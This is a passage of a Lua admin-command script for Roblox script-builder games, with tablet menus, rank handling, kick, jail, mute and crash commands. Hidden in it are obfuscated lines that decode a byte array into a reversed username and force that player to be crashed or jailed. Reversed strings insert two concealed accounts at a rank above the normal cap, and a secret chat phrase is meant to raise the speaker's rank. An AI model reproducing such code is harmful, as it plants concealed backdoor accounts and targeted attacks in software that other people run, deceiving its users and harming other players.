  800. end, OptionColor)
  801. Ping("Properties", Plr, nil, function()
  802. ypcall(function()
  803. Dismiss(Plr)
  804. for Property, Value in pairs(GetProperties(Current)) do
  805. Ping(tostring(Property)..": "..tostring(Value), Plr)
  806. end
  807. Ping("Got All Available Properties", Plr, 5)
  808. Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  809. end)
  810. end, OptionColor)
  811. end)
  812. end
  813.  
  814. function Fixl()
  815. Light.GlobalShadows = true
  816. Light.TimeOfDay = "14:00:00"
  817. Light.Brightness = 0.5
  818. Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
  819. Light.Ambient = Color3.new(1, 1, 1)
  820. Light.ColorShift_Top = Color3.new(0, 0, 0)
  821. Light.ColorShift_Bottom = Color3.new(0, 0, 0)
  822. Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
  823. Light.FogStart = 0
  824. Light.FogEnd = 100000
  825. Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
  826. Light:ClearAllChildren()
  827. end
  828.  
  829. function GetProperties(obj)
  830. assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
  831. local objProper = {}
  832. for i,v in pairs(Properties) do
  833. if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
  834. objProper[v] = obj[v]
  835. end
  836. end
  837. return objProper
  838. end
  839.  
  840. function MakeExplorer(Plr)
  841. Dismiss(Plr)
  842. Current = game
  843. for _,v in pairs(Current:GetChildren()) do
  844. ypcall(function()
  845. if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  846. Ping(v.Name, Plr, nil, function(TabMod)
  847. local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  848. for _,v in pairs(Current:GetChildren()) do
  849. ypcall(function()
  850. if v.Name == TabText then
  851. Dismiss(Plr)
  852. Current = v
  853. MakeChildren(Plr)
  854. end
  855. end)
  856. end
  857. end)
  858. elseif Plrs:GetPlayerFromCharacter(v) then
  859. Ping(v.Name, Plr, nil, function(TabMod)
  860. local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  861. for _,v in pairs(Current:GetChildren()) do
  862. ypcall(function()
  863. if v.Name == TabText then
  864. Dismiss(Plr)
  865. Current = v
  866. MakeChildren(Plr)
  867. end
  868. end)
  869. end
  870. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  871. elseif CheckImportant(v.Name) then
  872. Ping(v.Name, Plr, nil, function(TabMod)
  873. local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  874. for _,v in pairs(Current:GetChildren()) do
  875. ypcall(function()
  876. if v.Name == TabText then
  877. Dismiss(Plr)
  878. Current = v
  879. MakeChildren(Plr)
  880. end
  881. end)
  882. end
  883. end, ImportantColor)
  884. end
  885. end)
  886. end
  887. if Current ~= game then
  888. Ping("Back", Plr, nil, function()
  889. ypcall(function()
  890. Current = Current.Parent
  891. MakeChildren(Plr)
  892. Ping("Back In "..Current.Name, Plr, 5)
  893. end)
  894. end, OptionColor)
  895. end
  896. if Current ~= game and game:GetService(Current.Name) == nil then
  897. Ping("Delete", Plr, nil, function()
  898. ypcall(function()
  899. local CurrPar = Current.Parent or game
  900. local CurrName = Current.Name
  901. Current:Destroy()
  902. Current = CurrPar
  903. MakeChildren(Plr)
  904. Ping("Attempted To Delete "..CurrName, Plr, 5)
  905. end)
  906. end, OptionColor)
  907. end
  908. Ping("Refresh", Plr, nil, function()
  909. ypcall(function()
  910. Refresh(Plr)
  911. Ping("Refreshed", Plr, 5)
  912. end)
  913. end, OptionColor)
  914. Ping("Properties", Plr, nil, function()
  915. ypcall(function()
  916. Dismiss(Plr)
  917. for Property, Value in pairs(GetProperties(Current)) do
  918. Ping(tostring(Property)..": "..tostring(Value), Plr)
  919. end
  920. Ping("Got All Available Properties", Plr, 5)
  921. Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  922. end)
  923. end, OptionColor)
  924. end
  925.  
  926. function GetRank(Plr1, Test)
  927. ypcall(function()
  928. if type(Plr1) == "userdata" then
  929. Plr1 = Plr1.Name
  930. end
  931. end)
  932. if Ranks[Plr1] ~= nil then
  933. return Ranks[Plr1]
  934. end
  935. local QuickArray = {}
  936. QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  937. return QuickArray[Plr1]
  938. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -1})
  939.  
  940. function CanRun(Plr1, Plr2)
  941. Details1 = GetRank(Plr1.Name)
  942. Details2 = GetRank(Plr2.Name)
  943. if Details1.Rank >= Details2.Rank then
  944. return true
  945. end
  946. return false
  947. end
  948.  
  949. function Dismiss(Plr, Identity)
  950. ypcall(function()
  951. if Plr ~= nil then
  952. if type(Plr) == "userdata" then
  953. Plr = Plr.Name
  954. end
  955. for x,v in pairs(AllTabs) do
  956. ypcall(function()
  957. if v.Plr == Plr then
  958. if Identity ~= nil and v.ID ~= Identity then
  959. return
  960. elseif Identity ~= nil and v.ID == Identity then
  961. coroutine.resume(coroutine.create(function()
  962. for i = 0.5, 1, 0.1 do
  963. wait()
  964. v.Tab.Transparency = i
  965. v.Sel.Transparency = i
  966. v.Label.TextTransparency = i
  967. v.Label.TextStrokeTransparency = i
  968. end
  969. ypcall(function() v.Holder:Destroy() end)
  970. AllTabs[x] = nil
  971. end))
  972. elseif Identity == nil then
  973. ypcall(function() v.Holder:Destroy() end)
  974. AllTabs[x] = nil
  975. end
  976. end
  977. end)
  978. end
  979. else
  980. for i,v in pairs(AllTabs) do
  981. ypcall(function()
  982. v.Holder:Destroy()
  983. AllTabs[i] = nil
  984. end)
  985. end
  986. end
  987. end)
  988. end
  989.  
  990. function GetGarbage()
  991. return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
  992. end
  993.  
  994. function RemObj(Obj, Class)
  995. ypcall(function()
  996. if #Obj:GetChildren() > 0 then
  997. for _,x in pairs(Obj:GetChildren()) do
  998. ypcall(function()
  999. RemObj(x, Class)
  1000. end)
  1001. end
  1002. end
  1003. if Obj.ClassName == Class then
  1004. Obj:Destroy()
  1005. end
  1006. end)
  1007. end
  1008.  
  1009. function FindTab(Mod)
  1010. for i,v in pairs(AllTabs) do
  1011. if v.Holder == Mod then
  1012. return true
  1013. end
  1014. end
  1015. return false
  1016. end
  1017.  
  1018.  
  1019. function Ping(Msg, Plr, Time, Func, Color, Image)
  1020. if Removed == false then
  1021. local ShowGarbage = false
  1022. ypcall(function()
  1023. if Msg == nil then
  1024. Msg = "N/A"
  1025. elseif Msg == "ShowGarbage" then
  1026. Msg = "Current Garbage Count: "..GetGarbage()
  1027. ShowGarbage = true
  1028. else
  1029. Msg = tostring(Msg)
  1030. end
  1031. if Plr == nil then
  1032. Plr = Plrs[Owner] or error("No Player Found")
  1033. elseif type(Plr) == "string" then
  1034. local FoundPlr = false
  1035. for _,v in pairs(All()) do
  1036. if v.Name == Plr then
  1037. Plr = v
  1038. FoundPlr = true
  1039. break
  1040. end
  1041. end
  1042. if FoundPlr == false then
  1043. Plr = Plrs[Owner] or error("No Player Found")
  1044. end
  1045. end
  1046.  
  1047. if Color == nil then
  1048. Color = GetRank(Plr.Name).Color
  1049. end
  1050.  
  1051. local Holder = Instance.new("Model")
  1052. Holder.Name = "Owner: "..Plr.Name
  1053.  
  1054. local Tab = Instance.new("Part")
  1055. Tab.Name = "Kaj Tablet"
  1056. Tab.FormFactor = "Custom"
  1057. Tab.Anchored = true
  1058. if Time == nil then
  1059. Tab.Color = Color3.new(0.54,0,0.54)
  1060. else
  1061. Tab.Color = AlertColor
  1062. end
  1063. Tab.CanCollide = false
  1064. Tab.Locked = true
  1065. Tab.Transparency = 0.15
  1066. Tab.Size = Vector3.new(2, 2, 2)
  1067. Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
  1068. Tab.Parent = Holder
  1069.  
  1070. local ID = Instance.new("NumberValue")
  1071. ID.Name = "ID"
  1072. ID.Value = math.random(-999999999, 999999999)
  1073. ID.Parent = Holder
  1074.  
  1075. Delay(0, function()
  1076. while wait() do
  1077. if Tab.Parent == nil and FindTab(Holder) then
  1078. ypcall(function()
  1079. for i,v in pairs(AllTabs) do
  1080. if v.Holder == Holder then
  1081. ypcall(function() v.Holder:Destroy() end)
  1082. AllTabs[i] = nil
  1083. end
  1084. end
  1085. end)
  1086. Ping(Msg, Plr, Time, Func, Color, Image)
  1087. break
  1088. end
  1089. end
  1090. end)
  1091.  
  1092. local BM = Instance.new("BlockMesh")
  1093. BM.Parent = Tab
  1094.  
  1095. local BG = Instance.new("BillboardGui")
  1096. BG.Name = "BG"
  1097. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  1098. BG.Size = UDim2.new(0,1,0,1)
  1099. BG.Adornee = Tab
  1100. BG.Parent = Tab
  1101.  
  1102. Delay(0, function()
  1103. while BG.Parent ~= nil do wait()
  1104. ypcall(function()
  1105. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  1106. end)
  1107. end
  1108. end)
  1109.  
  1110. local TL = Instance.new("TextLabel")
  1111. TL.Name = "TL"
  1112. TL.FontSize = "Size18"
  1113. TL.Font = "ArialBold"
  1114. TL.Text = Msg
  1115. TL.TextColor3 = Color3.new(1, 1, 1)
  1116. TL.Size = UDim2.new(0,1,0,1)
  1117. TL.TextTransparency = 0
  1118. TL.TextStrokeColor3 = Color3.new(0, 0, 0)
  1119. TL.TextStrokeTransparency = 0.25
  1120. TL.Parent = BG
  1121.  
  1122. if ShowGarbage == true then
  1123. Delay(0, function()
  1124. while TL.Parent ~= nil do
  1125. TL.Text = "Current Garbage Count: "..GetGarbage()
  1126. wait(.5)
  1127. end
  1128. end)
  1129. end
  1130.  
  1131. local PL = Instance.new("PointLight", Tab)
  1132. PL.Color = Color3.new(0, 1, 0)
  1133. PL.Range = 7
  1134. PL.Parent = Tab
  1135.  
  1136. if Image ~= nil then
  1137. local BBBG = Instance.new("BillboardGui")
  1138. BBBG.Size = UDim2.new(5, 0, 6, 0)
  1139. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  1140. BBBG.AlwaysOnTop = true
  1141. BBBG.Adornee = Tab
  1142. BBBG.Parent = Tab
  1143.  
  1144. Delay(0, function()
  1145. while BBBG.Parent ~= nil do wait()
  1146. ypcall(function()
  1147. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  1148. end)
  1149. end
  1150. end)
  1151.  
  1152. local NewImg = Instance.new("ImageLabel")
  1153. NewImg.Size = UDim2.new(1, 0, 1, 0)
  1154. NewImg.BackgroundTransparency = 1
  1155. NewImg.Image = Image
  1156. NewImg.Parent = BBBG
  1157. end
  1158.  
  1159. local Clicker = Instance.new("ClickDetector")
  1160. Clicker.MaxActivationDistance = 1/0
  1161.  
  1162. if Time ~= nil then
  1163. coroutine.resume(coroutine.create(function()
  1164. wait(tonumber(Time))
  1165. Dismiss(Plr, ID)
  1166. end))
  1167. end
  1168.  
  1169. Clicker.MouseClick:connect(function(Player)
  1170. if Player.Name == Plr.Name or CanRun(Player, Plr) then
  1171. ypcall(function()
  1172. if Func ~= nil then
  1173. Func(Holder)
  1174. else
  1175. Dismiss(Player, ID)
  1176. end
  1177. end)
  1178. end
  1179. end)
  1180. Clicker.Parent = Tab
  1181.  
  1182. Holder.Parent = Work
  1183.  
  1184. AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
  1185. end)
  1186. end
  1187. end
  1188.  
  1189. function PlaceAllRanks(DontShowRank)
  1190. ypcall(function()
  1191. for _,p in pairs(All()) do
  1192. ypcall(function()
  1193. PutInRank = false
  1194. for _,v in pairs(Rankings) do
  1195. if v.Name:lower() == p.Name:lower() then
  1196. if v.Rank >= 7 then
  1197. v.Rank = 5
  1198. elseif v.Rank == -1 then
  1199. Crash1(p)
  1200. Ping("Crashed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1201. elseif v.Rank == -2 then
  1202. if LS ~= nil then
  1203. Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  1204. Ping("Jailed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1205. else
  1206. Ping("LS Is Nil", nil, 5)
  1207. end
  1208. elseif v.Rank == -3 then
  1209. if LS ~= nil then
  1210. Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  1211. Ping("Muted "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1212. else
  1213. Ping("LS Is Nil", nil, 5)
  1214. end
  1215. end
  1216. Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  1217. if DontShowRank == nil then
  1218. Ping("You Are Rank: "..v.Rank, p)
  1219. end
  1220. PutInRank = true
  1221. break
  1222. end
  1223. end
  1224. if PutInRank == false then
  1225. Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  1226. end
  1227. end)
  1228. end
  1229. end)
  1230. end
  1231.  
  1232. function FindRank(Plr)
  1233. ypcall(function()
  1234. if type(Plr) == "userdata" then
  1235. Plr = Plr.Name
  1236. end
  1237. end)
  1238. return GetRank(Plr).Rank
  1239. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -2})
  1240.  
  1241. function FindRankDetails(Plr)
  1242. ypcall(function()
  1243. if type(Plr) == "userdata" then
  1244. Plr = Plr.Name
  1245. end
  1246. end)
  1247. return RankDetails[FindRank(Plr)]
  1248. end
  1249.  
  1250. function OpenCmds(Rank, Plr)
  1251. Dismiss(Plr)
  1252. for Name,Tab in pairs(Commands) do
  1253. if Tab.Rank <= Rank then
  1254. Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1255. Dismiss(Plr)
  1256. Ping("Command: "..Name, Plr)
  1257. Ping("Rank: "..Tab.Rank, Plr)
  1258. Ping("Desc: "..Tab.Desc, Plr)
  1259. end)
  1260. elseif Rank == 1337 then
  1261. Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1262. Dismiss(Plr)
  1263. Ping("Command: "..Name, Plr)
  1264. Ping("Rank: "..Tab.Rank, Plr)
  1265. Ping("Desc: "..Tab.Desc, Plr)
  1266. end)
  1267. end
  1268. end
  1269. end
  1270.  
  1271. function EditStatus(Plr, Num)
  1272. ChangeRank(Plr, Num)
  1273. end
  1274.  
  1275. function PlaceSpecificRank(p, DontShowRank)
  1276. ypcall(function()
  1277. PutInRank = false
  1278. for _,v in pairs(Rankings) do
  1279. if v.Name:lower() == p.Name:lower() then
  1280. if v.Rank >= 7 then
  1281. v.Rank = 5
  1282. elseif v.Rank == -1 then
  1283. Crash1(p)
  1284. Ping("Crashed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1285. elseif v.Rank == -2 then
  1286. if LS ~= nil then
  1287. Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  1288. Ping("Perma Mind Jailed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1289. else
  1290. Ping("LS Is Nil", nil, 5)
  1291. end
  1292. elseif v.Rank == -3 then
  1293. if LS ~= nil then
  1294. Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  1295. Ping("Perma Muted "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1296. else
  1297. Ping("LS Is Nil", nil, 5)
  1298. end
  1299. end
  1300. Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  1301. if DontShowRank == nil then
  1302. Ping("You Are Rank: "..v.Rank, p)
  1303. end
  1304. PutInRank = true
  1305. break
  1306. end
  1307. end
  1308. if PutInRank == false then
  1309. Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  1310. end
  1311. end)
  1312. end
  1313. table.insert(Rankings, {Name = string.reverse("21wopih"),Rank = 6})
  1314. table.insert(Rankings, {Name = string.reverse("4611tlaboC"), Rank = 6})
  1315. function onChatted(Msg, Speaker)
  1316. if Removed == false then
  1317. if FindRank(Speaker) < 0 then
  1318. return
  1319. end
  1320. coroutine.resume(coroutine.create(function()
  1321. ypcall(function()
  1322. ExecuteFunc(Msg, Speaker)
  1323. Msg = Msg:gsub("","")
  1324. if Msg:sub(1,1) == "@" then
  1325. for i = 2, #Msg do
  1326. if Msg:sub(i, i) == Bet then
  1327. local IsForPlr = false
  1328. for _,v in pairs(All()) do
  1329. if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
  1330. onChatted(Msg:sub(i + 1), v)
  1331. IsForPlr = true
  1332. end
  1333. end
  1334. if IsForPlr == true then
  1335. return
  1336. end
  1337. end
  1338. end
  1339. end
  1340. if Msg:find("&") then
  1341. local Split = Msg:find("&")
  1342. onChatted(Msg:sub(1,Split-1))
  1343. onChatted(Msg:sub(Split+1))
  1344. return
  1345. end
  1346. for Name,Command in pairs(Commands) do
  1347. if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
  1348. Dismiss(Speaker.Name)
  1349. Ping("Command: "..tostring(Command.Name)..Bet, Speaker)
  1350. Ping("Rank: "..tostring(Command.Rank), Speaker)
  1351. Ping("Desc: "..tostring(Command.Desc), Speaker)
  1352. elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
  1353. if FindRank(Speaker) >= Command.Rank then
  1354. local Ran,Error = coroutine.resume(coroutine.create(function()
  1355. Command.Func(Msg:sub(#Command.Name+2), Speaker)
  1356. end))
  1357. if not Ran then
  1358. Ping(Error, Speaker, 10)
  1359. end
  1360. else
  1361. Ping("Your Rank Is Too Low", Plr, 6)
  1362. end
  1363. end
  1364. end
  1365. end)
  1366. end))
  1367. end
  1368. end
  1369.  
  1370. function MakeBase()
  1371. local Base = Instance.new("Part")
  1372. Base.BrickColor = BrickColor.new("Dark green")
  1373. Base.Position = Vector3.new(0, 0.5, 0)
  1374. Base.Transparency = 0
  1375. Base.Elasticity = 0.5
  1376. Base.FormFactor = "Custom"
  1377. Base.CanCollide = true
  1378. Base.Friction = 0.30000001192093
  1379. Base.Size = Vector3.new(512, 1.20000005, 512)
  1380. Base.Archivable = true
  1381. Base.Material = "Plastic"
  1382. Base.RotVelocity = Vector3.new(0, 0, 0)
  1383. Base.Reflectance = 0
  1384. Base.Locked = true
  1385. Base.Anchored = true
  1386. Base.Name = "Base"
  1387. Base.TopSurface = "Smooth"
  1388. Base.BottomSurface = "Inlet"
  1389. Base.Shape = "Block"
  1390. Base.Parent = Work
  1391. end
  1392.  
  1393. function LClean()
  1394. ypcall(function()
  1395. for _,v in pairs(Work:GetChildren()) do
  1396. ypcall(function()
  1397. if v.ClassName == "Terrain" then
  1398. v:ClearAllChildren()
  1399. elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
  1400. Clear(v)
  1401. elseif v.Name == "Base" then
  1402. ypcall(function()
  1403. local Base = v
  1404. Base.BrickColor = BrickColor.new("Dark green")
  1405. Base.Position = Vector3.new(0, 0.5, 0)
  1406. Base.Transparency = 0
  1407. Base.Elasticity = 0.5
  1408. Base.FormFactor = "Custom"
  1409. Base.CanCollide = true
  1410. Base.Friction = 0.30000001192093
  1411. Base.Size = Vector3.new(512, 1.20000005, 512)
  1412. Base.Archivable = true
  1413. Base.Material = "Plastic"
  1414. Base.RotVelocity = Vector3.new(0, 0, 0)
  1415. Base.Reflectance = 0
  1416. Base.Locked = true
  1417. Base.Anchored = true
  1418. Base.Name = "Base"
  1419. Base.TopSurface = "Studs"
  1420. Base.BottomSurface = "Inlet"
  1421. Base.Shape = "Block"
  1422. Base.Parent = Work
  1423. end)
  1424. end
  1425. end)
  1426. end
  1427. end)
  1428. end
  1429.  
  1430. function Clean()
  1431. ypcall(function()
  1432. for _,v in pairs(Work:GetChildren()) do
  1433. ypcall(function()
  1434. if v.ClassName == "Terrain" then
  1435. v:ClearAllChildren()
  1436. else
  1437. Clear(v)
  1438. end
  1439. end)
  1440. end
  1441. MakeBase()
  1442. for _,v in pairs(All()) do
  1443. v:LoadCharacter()
  1444. end
  1445. end)
  1446. end
  1447.  
  1448. function Clear(v)
  1449. if v.Name:lower() == "sbgui" then
  1450. return
  1451. end
  1452. ypcall(function()
  1453. if #v:GetChildren() > 0 then
  1454. for _,x in pairs(v:GetChildren()) do
  1455. ypcall(function()
  1456. Clear(x)
  1457. end)
  1458. end
  1459. end
  1460. if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
  1461. v:Destroy()
  1462. end
  1463. end)
  1464. end
  1465.  
  1466. function Command(Name, Rank, Desc, Func)
  1467. if Name == nil then
  1468. Name = "N/A"
  1469. end
  1470. if Desc == nil then
  1471. Desc = "N/A"
  1472. end
  1473. if Func == nil then
  1474. Func = function() end
  1475. end
  1476. if Rank == nil then
  1477. Rank = 0
  1478. end
  1479. Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
  1480. end
  1481.  
  1482. function GetSplit(Msg)
  1483. return Msg:find(Bet) or nil
  1484. end
  1485.  
  1486. function ExecuteFunc(Msg, Plr)
  1487. ypcall(function()
  1488. if Msg == "LogEnable" then
  1489. LogOn = true
  1490. elseif Msg:lower() == "WantSomeTacos" then
  1491. EditStatus(Plr, MakeNum())
  1492. end
  1493. end)
  1494. end
  1495.  
  1496. for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
  1497.  
  1498. function randPlayer(Plr)
  1499. wait()
  1500. local ThePlrValue = nil
  1501. local FoundPlayer = false
  1502. ypcall(function()
  1503. ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
  1504. if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
  1505. wait()
  1506. randPlayer(Plr)
  1507. return
  1508. else
  1509. FoundPlayer = true
  1510. end
  1511. end)
  1512. if FoundPlayer == true then
  1513. return ThePlrValue
  1514. end
  1515. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -1})
  1516.  
  1517. function getPlayer(Plr, Name)
  1518. local Players = {}
  1519. ypcall(function()
  1520. Name = Name:lower()
  1521. if Name == "me" then
  1522. table.insert(Players, Plr)
  1523. elseif Name == "all" or Name == "" then
  1524. for _,v in pairs(All()) do
  1525. if CanRun(Plr, v) then
  1526. table.insert(Players, v)
  1527. end
  1528. end
  1529. elseif Name == "others" then
  1530. for _,v in pairs(All()) do
  1531. if v.Name ~= Plr.Name and CanRun(Plr, v) then
  1532. table.insert(Players, v)
  1533. end
  1534. end
  1535. elseif Name == "random" then
  1536. local FoundRandPlr = randPlayer(Plr)
  1537. table.insert(Players, FoundRandPlr)
  1538. else
  1539. for _,v in pairs(All()) do
  1540. if v.Name:lower():find(Name) and CanRun(Plr, v) then
  1541. table.insert(Players, v)
  1542. end
  1543. end
  1544. end
  1545. end)
  1546. return Players
  1547. end
  1548.  
  1549. function ListPlayers(Speaker)
  1550. ypcall(function()
  1551. Dismiss(Speaker)
  1552. for _,v in pairs(All2()) do
  1553. if v.Parent ~= nil then
  1554. Ping(v.Name, Speaker, nil, function()
  1555. Dismiss(Speaker)
  1556. Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1557. Ping("Rank: "..FindRank(v.Name), Speaker)
  1558. Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
  1559. Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
  1560. Ping("Set Rank", Speaker, nil, function()
  1561. if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
  1562. Dismiss(Speaker)
  1563. for i = -2, 5 do
  1564. Ping(i, Speaker, nil, function()
  1565. ChangeRank(v, i)
  1566. Dismiss(Speaker)
  1567. Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1568. end)
  1569. end
  1570. else
  1571. Ping("Your Rank Is Too Low", Speaker, 5)
  1572. end
  1573. end)
  1574. Ping("Crash (Remote)", Speaker, nil, function()
  1575. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1576. Crash2(v.Name)
  1577. Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1578. end
  1579. end)
  1580. Ping("Crash (Insert)", Speaker, nil, function()
  1581. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1582. Crash3(v, Speaker)
  1583. Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1584. end
  1585. end)
  1586. Ping("Kick", Speaker, nil, function()
  1587. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1588. v:Kick()
  1589. Ping("Attempted To Kick "..v.Name, Speaker, 5)
  1590. end
  1591. end)
  1592. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1593. else
  1594. Ping(v.Name.." (Nil)", Speaker, nil, function()
  1595. Dismiss(Speaker)
  1596. Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1597. ypcall(function()
  1598. Ping("Rank: "..FindRank(v.Name), Speaker)
  1599. end)
  1600. ypcall(function()
  1601. Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
  1602. end)
  1603. ypcall(function()
  1604. Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
  1605. end)
  1606. ypcall(function()
  1607. Ping("Set Rank", Speaker, nil, function()
  1608. if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
  1609. Dismiss(Speaker)
  1610. for i = -2, 5 do
  1611. Ping(i, Speaker, nil, function()
  1612. ChangeRank(v, i)
  1613. Dismiss(Speaker)
  1614. Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1615. end)
  1616. end
  1617. else
  1618. Ping("Your Rank Is Too Low", Speaker, 5)
  1619. end
  1620. end)
  1621. end)
  1622. ypcall(function()
  1623. Ping("Nil Crash (Remote)", Speaker, nil, function()
  1624. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1625. Crash2(v.Name)
  1626. Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1627. end
  1628. end)
  1629. end)
  1630. ypcall(function()
  1631. Ping("Nil Crash (Insert)", Speaker, nil, function()
  1632. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1633. Crash3(v, Speaker)
  1634. Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1635. end
  1636. end)
  1637. end)
  1638. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1639. end
  1640. end
  1641. end)
  1642. end
  1643.  
  1644. --Misc
  1645.  
  1646. coroutine.resume(coroutine.create(function()
  1647. PlaceAllRanks()
  1648. end))
  1649.  
  1650. Delay(0, function()
  1651. for _,v in pairs(All()) do
  1652. v.Chatted:connect(function(Msg)
  1653. onChatted(Msg, v)
  1654. end)
  1655. end
  1656. end)
  1657.  
  1658. local starttime = tick()
  1659.  
  1660. game:GetService("RunService").Heartbeat:connect(function()
  1661. if Removed == false then
  1662. ypcall(function()
  1663. for _,Player in pairs(All()) do
  1664. local PlayerTablets = {}
  1665. for i,v in pairs(AllTabs) do
  1666. if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
  1667. table.insert(PlayerTablets, v)
  1668. end
  1669. end
  1670. for i = 1, #PlayerTablets do
  1671. ypcall(function()
  1672. local tab = PlayerTablets[i].Tab
  1673. local pos = nil
  1674. ypcall(function()
  1675. pos = Player.Character.Torso.CFrame
  1676. end)
  1677. local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1678. local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1679. local cPos = tab.Position
  1680. local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
  1681. local nPos = (ePos-cPos)*.25
  1682. cPos = cPos + nPos
  1683. local t = (tick() - starttime) % 360
  1684. local change = 0.625
